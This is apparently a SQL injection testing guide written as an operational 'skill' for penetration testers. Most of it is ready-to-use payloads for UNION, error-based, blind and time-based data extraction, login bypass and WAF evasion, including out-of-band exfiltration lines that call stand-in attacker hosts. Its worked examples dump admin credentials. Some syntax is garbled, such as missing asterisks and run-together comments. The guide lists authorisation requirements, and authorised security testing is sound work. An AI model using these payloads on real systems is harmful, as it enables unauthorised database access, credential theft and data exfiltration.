SQL Injection Testing

Purpose

Execute comprehensive SQL injection vulnerability assessments on web applications to identify database security flaws, demonstrate exploitation techniques, and validate input sanitization mechanisms. This skill enables systematic detection and exploitation of SQL injection vulnerabilities across in-band, blind, and out-of-band attack vectors to assess application security posture.

Inputs / Prerequisites

Required Access

Target web application URL with injectable parameters

Burp Suite or equivalent proxy tool for request manipulation

SQLMap installation for automated exploitation

Browser with developer tools enabled

Technical Requirements

Understanding of SQL query syntax (MySQL, MSSQL, PostgreSQL, Oracle)

Knowledge of HTTP request/response cycle

Familiarity with database schemas and structures

Write permissions for testing reports

Legal Prerequisites

Written authorization for penetration testing

Defined scope including target URLs and parameters

Emergency contact procedures established

Data handling agreements in place

Outputs / Deliverables

Primary Outputs

SQL injection vulnerability report with severity ratings

Extracted database schemas and table structures

Authentication bypass proof-of-concept demonstrations

Remediation recommendations with code examples

Evidence Artifacts

Screenshots of successful injections

HTTP request/response logs

Database dumps (sanitized)

Payload documentation

Core Workflow

Phase 1: Detection and Reconnaissance

Identify Injectable Parameters

Locate user-controlled input fields that interact with database queries:

# Common injection points
URL parameters: ?id=1, ?user=admin, ?category=books

Form fields: username, password, search, comments

Cookie values: session_id, user_preference

HTTP headers: User-Agent, Referer, X-Forwarded-For

Test for Basic Vulnerability Indicators

Insert special characters to trigger error responses:

-- Single quote test ' -- Double quote test " -- Comment sequences -- # /*/ -- Semicolon for query stacking ;

-- Parentheses )

Monitor application responses for:

Database error messages revealing query structure

Unexpected application behavior changes

HTTP 500 Internal Server errors

Modified response content or length
Logic Testing Payloads

Verify boolean-based vulnerability presence:
-- True condition tests page.asp?id=1 or 1=1 page.asp?id=1' or 1=1-- page.asp?id=1" or 1=1--
-- False condition tests page.asp?id=1 and 1=2 page.asp?id=1' and 1=2--
Compare responses between true and false conditions to confirm injection capability.
Phase 2: Exploitation Techniques
UNION-Based Extraction

Combine attacker-controlled SELECT statements with original query:
-- Determine column count ORDER BY 1-- ORDER BY 2-- ORDER BY 3-- -- Continue until error occurs -- Find displayable columns UNION SELECT NULL,NULL,NULL-- UNION SELECT 'a',NULL,NULL-- UNION SELECT NULL,'a',NULL--
-- Extract data UNION SELECT username,password,NULL FROM users-- UNION SELECT table_name,NULL,NULL FROM information_schema.tables-- UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'--
Error-Based Extraction

Force database errors that leak information:
-- MSSQL version extraction 1' AND 1=CONVERT(int,(SELECT @@version))-- -- MySQL extraction via XPATH 1' AND extractvalue(1,concat(0x7e,(SELECT @@version)))--
-- PostgreSQL cast errors 1' AND 1=CAST((SELECT version()) AS int)--
Blind Boolean-Based Extraction

Infer data through application behavior changes:

-- Character extraction
1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'--
1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='b'---- Conditional responses
1' AND (SELECT COUNT() FROM users WHERE username='admin')>0--

Time-Based Blind Extraction

Use database sleep functions for confirmation:

-- MySQL
1' AND IF(1=1,SLEEP(5),0)--
1' AND IF((SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a',SLEEP(5),0)--
-- MSSQL
1'; WAITFOR DELAY '0:0:5'---- PostgreSQL
1'; SELECT pg_sleep(5)--

Out-of-Band (OOB) Extraction

Exfiltrate data through external channels:

-- MSSQL DNS exfiltration
1; EXEC master..xp_dirtree '\\attacker-server.com\share'--
-- MySQL DNS exfiltration
1' UNION SELECT LOAD_FILE(CONCAT('\\\\',@@version,'.attacker.com\\a'))---- Oracle HTTP request
1' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual)) FROM dual--

Phase 3: Authentication Bypass

Login Form Exploitation

Craft payloads to bypass credential verification:

-- Classic bypass
admin'--
admin'/
' OR '1'='1
' OR '1'='1'--
' OR '1'='1'/
') OR ('1'='1
') OR ('1'='1'---- Username enumeration
admin' AND '1'='1
admin' AND '1'='2

Query transformation example:

-- Original query
SELECT  FROM users WHERE username='input' AND password='input'-- Injected (username: admin'--)
SELECT  FROM users WHERE username='admin'--' AND password='anything'
-- Password check bypassed via comment

Phase 4: Filter Bypass Techniques

Character Encoding Bypass

When special characters are blocked:

-- URL encoding
%27 (single quote)
%22 (double quote)
%23 (hash)
-- Double URL encoding
%2527 (single quote)
-- Unicode alternatives
U+0027 (apostrophe)
U+02B9 (modifier letter prime)-- Hexadecimal strings (MySQL)
SELECT  FROM users WHERE name=0x61646D696E  -- 'admin' in hex

Whitespace Bypass

Substitute blocked spaces:
-- Comment substitution SELECT//username//FROM//users SEL//ECT//username//FR//OM//users
-- Alternative whitespace SELECT%09username%09FROM%09users -- Tab character SELECT%0Ausername%0AFROM%0Ausers -- Newline
Keyword Bypass

Evade blacklisted SQL keywords:

-- Case variation SeLeCt, sElEcT, SELECT-- Inline comments SEL/bypass/ECT UN/bypass/ION -- Double writing (if filter removes once) SELSELECTECT → SELECT UNUNIONION → UNION

-- Null byte injection %00SELECT SEL%00ECT

Quick Reference

Detection Test Sequence

1. Insert ' → Check for error Insert " → Check for error Try: OR 1=1-- → Check for behavior change Try: AND 1=2-- → Check for behavior change
Try: ' WAITFOR DELAY '0:0:5'-- → Check for delay
Database Fingerprinting

-- MySQL
SELECT @@version
SELECT version()
-- MSSQL
SELECT @@version
SELECT @@servername
-- PostgreSQL
SELECT version()-- Oracle
SELECT banner FROM v$version
SELECT  FROM v$version

Information Schema Queries

-- MySQL/MSSQL table enumeration
SELECT table_name FROM information_schema.tables WHERE table_schema=database()
-- Column enumeration
SELECT column_name FROM information_schema.columns WHERE table_name='users'-- Oracle equivalent
SELECT table_name FROM all_tables
SELECT column_name FROM all_tab_columns WHERE table_name='USERS'

Common Payloads Quick List

Purpose	Payload
Basic test	`'` or `"`
Boolean true	`OR 1=1--`
Boolean false	`AND 1=2--`
Comment (MySQL)	`#` or `--`
Comment (MSSQL)	`--`
UNION probe	`UNION SELECT NULL--`
Time delay	`AND SLEEP(5)--`
Auth bypass	`' OR '1'='1`

Constraints and Guardrails

Operational Boundaries

Never execute destructive queries (DROP, DELETE, TRUNCATE) without explicit authorization

Limit data extraction to proof-of-concept quantities

Avoid denial-of-service through resource-intensive queries

Stop immediately upon detecting production database with real user data

Technical Limitations

WAF/IPS may block common payloads requiring evasion techniques

Parameterized queries prevent standard injection

Some blind injection requires extensive requests (rate limiting concerns)

Second-order injection requires understanding of data flow

Legal and Ethical Requirements

Written scope agreement must exist before testing

Document all extracted data and handle per data protection requirements

Report critical vulnerabilities immediately through agreed channels

Never access data beyond scope requirements

Examples

Example 1: E-commerce Product Page SQLi

Scenario: Testing product display page with ID parameter

Initial Request:

GET /product.php?id=5 HTTP/1.1

Detection Test:

GET /product.php?id=5' HTTP/1.1
Response: MySQL error - syntax error near '''

Column Enumeration:

GET /product.php?id=5 ORDER BY 4-- HTTP/1.1
Response: Normal
GET /product.php?id=5 ORDER BY 5-- HTTP/1.1
Response: Error (4 columns confirmed)

Data Extraction:

GET /product.php?id=-5 UNION SELECT 1,username,password,4 FROM admin_users-- HTTP/1.1
Response: Displays admin credentials

Example 2: Blind Time-Based Extraction

Scenario: No visible output, testing for blind injection

Confirm Vulnerability:

id=5' AND SLEEP(5)-- 
-- Response delayed by 5 seconds (vulnerable confirmed)

Extract Database Name Length:

id=5' AND IF(LENGTH(database())=8,SLEEP(5),0)--
-- Delay confirms database name is 8 characters

Extract Characters:

id=5' AND IF(SUBSTRING(database(),1,1)='a',SLEEP(5),0)--
-- Iterate through characters to extract: 'appstore'

Example 3: Login Bypass

Target: Admin login form

Standard Login Query:

SELECT  FROM users WHERE username='[input]' AND password='[input]'

Injection Payload:

Username: administrator'--
Password: anything

Resulting Query:

SELECT  FROM users WHERE username='administrator'--' AND password='anything'

Result: Password check bypassed, authenticated as administrator.

Troubleshooting

No Error Messages Displayed

Application uses generic error handling

Switch to blind injection techniques (boolean or time-based)

Monitor response length differences instead of content

UNION Injection Fails

Column count may be incorrect → Test with ORDER BY

Data types may mismatch → Use NULL for all columns first

Results may not display → Find injectable column positions

WAF Blocking Requests

Use encoding techniques (URL, hex, unicode)

Insert inline comments within keywords

Try alternative syntax for same operations

Fragment payload across multiple parameters

Payload Not Executing

Verify correct comment syntax for database type

Check if application uses parameterized queries

Confirm input reaches SQL query (not filtered client-side)

Test different injection points (headers, cookies)

Time-Based Injection Inconsistent

Network latency may cause false positives

Use longer delays (10+ seconds) for clarity

Run multiple tests to confirm pattern

Consider server-side caching effects